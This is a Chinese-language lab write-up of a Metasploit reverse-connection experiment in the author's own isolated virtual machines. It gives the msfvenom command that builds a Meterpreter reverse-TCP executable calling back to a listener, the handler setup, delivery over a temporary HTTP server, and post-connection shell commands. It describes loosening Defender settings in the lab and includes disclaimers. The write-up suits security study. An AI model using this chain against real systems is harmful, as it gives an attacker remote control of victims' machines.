Metasploit Meterpreter 反向连接实验:从 Payload 到会话建立的完整实践记录
实验声明:本文所有操作均在本人搭建的隔离虚拟机实验环境中进行,仅用于网络安全学习与技术研究。请勿将本文中的 Payload、监听器或相关操作用于未经授权的主机。
一、实验概述
这次实验主要学习 Metasploit Framework 中 Payload、Handler、Reverse TCP、Meterpreter Session 之间的关系,并在两台虚拟机之间完成一次完整的 Meterpreter 反向连接实验。
本次实验并不是直接使用漏洞攻击目标,而是手动生成一个 Payload,然后让 Windows 实验机主动连接 Kali 上的 Handler。
整个实验流程可以概括为:
Kali
│
│ ① 生成 Payload
▼
test.exe
│
│ ② 放入 Windows 实验机
▼
Windows
│
│ ③ 执行 Payload
│
│ ④ 主动连接 Kali:4444
▼
Kali Handler
│
│ ⑤ 接收连接
▼
Meterpreter Session
│
▼
meterpreter >
二、实验环境
本次实验使用两台虚拟机,并让它们处于同一个实验网络中。
| 主机 | 系统 | IP 地址 | 作用 |
|---|---|---|---|
| Kali Linux | Kali Linux | 192.168.142.128 |
Metasploit / Handler |
| Windows | Windows 10 22H2 | 192.168.142.131 |
实验靶机 |
最终的通信方向为:
Windows 192.168.142.131
│
│ TCP 4444
▼
Kali 192.168.142.128
需要特别注意:
这里使用的是 反向连接(Reverse TCP),因此连接的发起方是 Windows,而监听方是 Kali。
三、实验前网络连通性测试
在正式开始 Metasploit 操作之前,首先需要确认两台虚拟机之间能够正常通信。
3.1 Kali Ping Windows
在 Kali 中执行:
ping -c 4 192.168.142.131
实验开始时,Kali 一开始无法 Ping 通 Windows。
后来检查 Windows 防火墙,发现 Windows 的:
文件和打印机共享(回显请求 - ICMPv4-In)
入站规则没有开启。
开启相应的 ICMPv4 入站规则后,再次执行:
ping -c 4 192.168.142.131
得到:
4 packets transmitted, 4 received, 0% packet loss
说明两台机器之间的 ICMP 通信已经正常。
【图片 2:Windows 防火墙中启用 ICMPv4 入站规则】
【图片 3:Kali Ping Windows 成功的终端截图】
四、测试 TCP 4444 端口
Ping 成功只能说明 ICMP 通信正常,并不能证明 TCP 端口也可以正常连接。
因此继续测试 Windows → Kali 的 TCP/4444。
首先在 Kali 上使用 nc 临时监听 4444:
nc -lvnp 4444
然后在 Windows PowerShell 中执行:
Test-NetConnection 192.168.142.128 -Port 4444
结果:
TcpTestSucceeded : True
说明:
Windows
192.168.142.131
│
│ TCP/4444
▼
Kali
192.168.142.128
这条 TCP 通信链路已经打通。
【图片 4:Kali 使用 nc 监听 4444】
【图片 5:Windows Test-NetConnection 测试成功】
五、启动 Metasploit Handler
确认网络正常以后,开始使用 Metasploit。
首先进入:
msfconsole
然后选择 Handler 模块:
use exploit/multi/handler
Handler 可以理解为一个“接收器”。
它的职责不是主动去扫描 Windows,而是:
等待已经生成好的 Payload 主动连接回来。
5.1 设置 Payload 类型
执行:
set payload windows/meterpreter/reverse_tcp
这一行可以拆开理解:
windows
表示目标平台为 Windows。
meterpreter
表示建立连接后使用 Meterpreter。
reverse_tcp
表示目标通过 TCP 主动连接回 Kali。
因此:
windows/meterpreter/reverse_tcp
可以理解为:
Windows 平台上的 Meterpreter TCP 反向连接 Payload。
5.2 设置监听地址
执行:
set LHOST 192.168.142.128
这里的 LHOST 可以理解为 Local Host。
即:
Kali 自己的 IP 地址。
本实验中 Kali 的 IP 是:
192.168.142.128
5.3 设置监听端口
执行:
set LPORT 4444
这里的 LPORT 可以理解为:
Local Port
即:
Kali 等待连接的端口。
因此当前配置可以理解为:
监听地址:192.168.142.128
监听端口:4444
5.4 启动 Handler
执行:
run
如果配置正确,可以看到:
[*] Started reverse TCP handler on 192.168.142.128:4444
看到这条消息,说明 Handler 已经启动。
此时可以把 Kali 想象成:
192.168.142.128:4444
│
▼
等待 Windows

【图片 6:Metasploit Handler 启动成功】
六、使用 msfvenom 生成 Payload
Handler 启动以后,还需要生成一个与 Handler 相匹配的 Payload。
本实验使用 msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.142.128 \
LPORT=4444 \
-f exe \
-o ~/test.exe
参数解释如下。
-p
指定 Payload。
-p windows/meterpreter/reverse_tcp
表示使用 Windows Meterpreter Reverse TCP Payload。
LHOST
LHOST=192.168.142.128
表示 Windows 运行这个 Payload 后,需要连接的 Kali 地址。
LPORT
LPORT=4444
表示需要连接 Kali 的 4444 端口。
-f exe
指定输出格式为 Windows EXE。
-o ~/test.exe
指定输出文件:
/home/kali/test.exe
生成完成后,可以检查:
ls -lh ~/test.exe
本次实验得到:
-rw-rw-r-- 1 kali kali 7.0K ... /home/kali/test.exe
说明 Payload 已经成功生成。
【图片 7:msfvenom 生成 Payload 的终端截图】
【图片 8:ls -lh 查看 test.exe】
七、将 Payload 传输到 Windows 实验机
为了方便实验,本次使用 Python 自带的 HTTP 服务临时提供文件下载。
在 Kali 新开一个终端:
cd ~
python3 -m http.server 8000 --bind 0.0.0.0
成功后会出现:
Serving HTTP on 0.0.0.0 port 8000 ...
然后在 Windows 浏览器中访问:
http://192.168.142.128:8000
即可看到 Kali 当前目录中的文件。
本次实验中下载:
test.exe

【图片 9:Windows 浏览器下载test.exe 的截图】
八、Windows 安全中心拦截问题
在下载 Payload 的过程中,Windows 安全中心检测到了该文件并进行了拦截。
这是预期现象。
因为:
windows/meterpreter/reverse_tcp
本身就是典型的远程控制型 Payload,现代杀毒软件通常会对此类文件进行检测。
这也让我认识到:
Payload 能够生成,并不意味着 Payload 一定能够直接在目标系统上执行。
真正的实验环境中还会受到:
- Windows Defender
- 防火墙
- 终端安全软件
- 网络策略
等因素影响。
本次实验使用的是专门准备的隔离 Windows 虚拟机,因此在实验环境内进行相应的安全策略调整后继续测试。
实际环境中不应为了运行未经授权的 Payload 而关闭安全防护。
九、成功建立 Meterpreter 会话
处理完实验环境中的安全拦截问题之后,在 Windows 实验机上运行:
test.exe
随后回到 Kali 的 Metasploit Handler。
如果一切正常,会看到类似:
[*] Sending stage ...
[*] Meterpreter session 1 opened
最终进入:
meterpreter >
这意味着:
Windows 已经主动连接到 Kali,Metasploit 成功接收了连接,并建立了第 1 个 Meterpreter 会话。
整个过程如下:
Windows
192.168.142.131
│
│ 运行 test.exe
▼
Payload 启动
│
│ TCP 192.168.142.128:4444
▼
Kali Handler
│
▼
Meterpreter Session 1
│
▼
meterpreter >

【图片 10:Meterpreter session 1 opened,出现 meterpreter > 提示符】
十、使用 sysinfo 查看目标系统
成功进入 Meterpreter 后,首先进行了系统信息查看:
sysinfo
实验结果:
Computer : DESKTOP-3943OKD
OS : Windows 10 22H2+ (10.0 Build 19045)
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
可以从中获取到:
- 主机名
- Windows 版本
- 系统架构
- 系统语言
- 域信息
- 当前登录用户数量
- Meterpreter 架构
这里还出现了一个值得注意的信息:
OS Architecture : x64
Meterpreter : x86/windows
也就是说:
Windows 本身是 64 位,但本次运行的是 32 位 Meterpreter。
它仍然能够正常建立会话。
【图片 12:sysinfo 输出截图】
十一、使用 getuid 查看当前用户
继续执行:
getuid
得到:
Server username: DESKTOP-3943OKD\admin
说明当前 Meterpreter 会话对应的是:
DESKTOP-3943OKD\admin
这个命令非常适合在实验中确认:
“当前会话究竟处于哪个 Windows 用户上下文中?”
【图片 13:getuid 输出截图】
十二、Meterpreter Shell 与 Windows CMD 的区别
Meterpreter 并不是普通的 Windows CMD。
当前界面:
meterpreter >
是 Meterpreter 自己的交互环境。
例如:
sysinfo
getuid
sessions
background
属于 Meterpreter 相关命令。
如果输入:
shell
则可以进入 Windows 命令解释器。
例如:
meterpreter > shell
之后可能出现:
C:\Users\admin>
这时已经进入 Windows Shell。
例如执行:
whoami
查看当前 Windows 用户。
还可以:
ipconfig
查看网络配置。
执行:
exit
则可以退出 Windows Shell,返回:
meterpreter >
因此两者可以简单理解为:
meterpreter >
│
│ shell
▼
C:\Users\admin>
│
│ exit
▼
meterpreter >

【图片 14:Meterpreter Shell 与 Windows CMD 切换过程】
十三、在目标实验机创建 TXT 文件
为了进一步验证当前会话是否能够执行 Windows 命令,在 Windows Shell 中创建一个测试文本文件。
进入 Shell:
shell
然后执行:
echo Hello Meterpreter > test.txt
检查文件:
dir test.txt
读取文件:
type test.txt
应该可以看到:
Hello Meterpreter
这说明当前实验会话可以正常执行 Windows Shell 命令。
最后:
exit
返回:
meterpreter >

【图片 15:创建 test.txt,dir 和 type 查看 test.txt】
十四、Meterpreter 会话的后台管理
除了直接操作会话之外,还可以暂时把 Meterpreter 会话放到后台。
在:
meterpreter >
输入:
background
即可返回 Metasploit 主界面。
然后执行:
sessions -l
可以查看当前建立的会话。
例如:
Id Type Information
1 meterpreter x86/windows DESKTOP-3943OKD\admin
如果需要重新进入第 1 个会话:
sessions -i 1
即可重新进入:
meterpreter >
这个机制在多个实验会话同时存在时非常有用。
【图片 17:sessions -l 查看会话】
十五、这次实验最重要的几个概念
通过这次实验,我对之前比较模糊的几个概念有了更加直观的理解。
1. Payload
Payload 可以理解为:
真正负责建立后续通信和会话功能的代码。
本次实验使用:
windows/meterpreter/reverse_tcp
2. Handler
Handler 可以理解为:
等待并接收 Payload 连接的监听端。
本次 Handler:
192.168.142.128:4444
3. Reverse TCP
Reverse 的意思不是:
Kali → Windows
而是:
Windows → Kali
也就是:
目标主动连接控制端。
4. LHOST
LHOST
可以理解为:
Local Host,本机地址。
本实验中:
192.168.142.128
也就是 Kali。
5. LPORT
LPORT
可以理解为:
Local Port,本机监听端口。
本实验中:
4444
6. Meterpreter Session
当看到:
meterpreter >
就说明:
Payload 已经成功连接 Handler,并建立了一个 Meterpreter 会话。
十六、一次完整实验命令回顾
为了方便以后复习,把这次实验最核心的命令整理如下。
1. 检查网络
Kali:
ping -c 4 192.168.142.131
Windows:
Test-NetConnection 192.168.142.128 -Port 4444
2. 启动 Metasploit Handler
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.142.128
set LPORT 4444
run
3. 生成 Payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.142.128 \
LPORT=4444 \
-f exe \
-o ~/test.exe
4. 启动临时 HTTP 文件服务器
cd ~
python3 -m http.server 8000 --bind 0.0.0.0
Windows 浏览器:
http://192.168.142.128:8000
5. Meterpreter 基础操作
sysinfo
getuid
pwd
ls
shell
background
sessions -l
sessions -i 1
6. Windows Shell 基础操作
whoami
ipconfig
dir
type
echo Hello Meterpreter > test.txt
exit
十七、整个实验流程总结
把整个实验压缩成一张图,就是:
┌──────────────────────────────┐
│ Kali │
│ 192.168.142.128 │
│ │
│ ① msfvenom │
│ ↓ │
│ test.exe │
│ │
│ ② Handler │
│ 192.168.142.128:4444 │
└──────────────┬───────────────┘
│
│ TCP Reverse Connection
│
▼
┌──────────────────────────────┐
│ Windows │
│ 192.168.142.131 │
│ │
│ ③ 运行 test.exe │
│ ↓ │
│ ④ 主动连接 Kali │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ Meterpreter Session │
│ │
│ meterpreter > │
└──────────────────────────────┘
十八、实验中遇到的问题及解决过程
这次实验并不是一次性完成的,中间也遇到了几个比较典型的问题。
问题 1:Kali 无法 Ping Windows
原因:
Windows 防火墙没有允许 ICMPv4 Echo Request。
解决:
启用:
文件和打印机共享(回显请求 - ICMPv4-In)
之后重新 Ping 成功。
问题 2:PowerShell 命令输入错误
最开始把:
Test-NetConnection
输入成了:
Test-Connection
并且出现过把 -Port 写错、IP 地址中误加入空格等情况。
最终正确命令:
Test-NetConnection 192.168.142.128 -Port 4444
问题 3:HTTP 文件服务器端口搞错
启动的是:
8000
测试时却输入了:
8080
因此:
TcpTestSucceeded : False
后来改成:
Test-NetConnection 192.168.142.128 -Port 8000
问题解决。
这也说明:
排查网络问题的时候,一定要确认 IP、协议和端口是否一致。
问题 4:Windows 安全中心拦截 Payload
原因:
现代 Windows 安全软件会重点检测 Meterpreter 等远程控制型 Payload。
解决思路:
在专门隔离的实验虚拟机环境中进行实验,并合理配置测试环境的安全策略。
这个过程也让我认识到:
“Payload 能不能生成”和“Payload 能不能执行”是两个不同的问题。
十九、这次实验的收获
通过本次实验,我第一次把之前只在教程中看到的几个概念真正串联了起来:
Payload
↓
Handler
↓
Reverse TCP
↓
Session
↓
Meterpreter
过去只知道:
windows/meterpreter/reverse_tcp
是一种 Payload,但并不理解它具体是怎么工作的。
经过这次实验,可以更加直观地理解:
1. Kali 生成 Payload
2. Kali 启动 Handler
3. Windows 执行 Payload
4. Windows 主动连接 Kali
5. Handler 接收连接
6. 建立 Meterpreter Session
7. 进入 meterpreter >
同时也实际学习到了:
网络连通性测试
↓
TCP 端口测试
↓
Metasploit Handler
↓
Payload 生成
↓
Meterpreter Session
↓
Windows Shell
这些知识也为以后学习:
- 漏洞利用
- 反向 Shell
- C2 基础
- Metasploit Framework
- 渗透测试基础流程
打下了基础。
二十、后续学习计划
完成这次实验之后,我准备继续学习以下内容:
Meterpreter 基础
↓
Session 管理
↓
Payload 类型
↓
Staged / Stageless Payload
↓
Metasploit Exploit 模块
↓
漏洞利用与 Payload 组合
↓
不同网络环境下的反向连接
↓
Windows 权限与安全机制
在后续学习中,会继续坚持在自己的虚拟机和合法靶场中进行实验。
二十一、结语
这次实验最大的收获并不是记住几条 Metasploit 命令,而是终于理解了 “反向连接到底是怎么建立起来的”。
一句话概括:
Kali 负责等待,Windows 负责主动连接;Payload 负责建立连接,Handler 负责接收连接,最终形成 Meterpreter Session。
当最终看到:
meterpreter >
的时候,也意味着整个链路:
Payload
→ TCP 连接
→ Handler
→ Session
→ Meterpreter
已经真正跑通。
对于刚开始学习 Metasploit 的人来说,我认为先把这一套基础通信机制理解清楚,比一开始背大量模块和命令更加重要。
实验声明
本文仅用于网络安全技术学习与授权实验环境测试。
实验所使用的 Kali 与 Windows 均为本人搭建的虚拟机,实验网络为独立测试环境。未经授权对第三方计算机生成、投递或执行 Payload,可能造成严重安全问题并涉及法律责任。
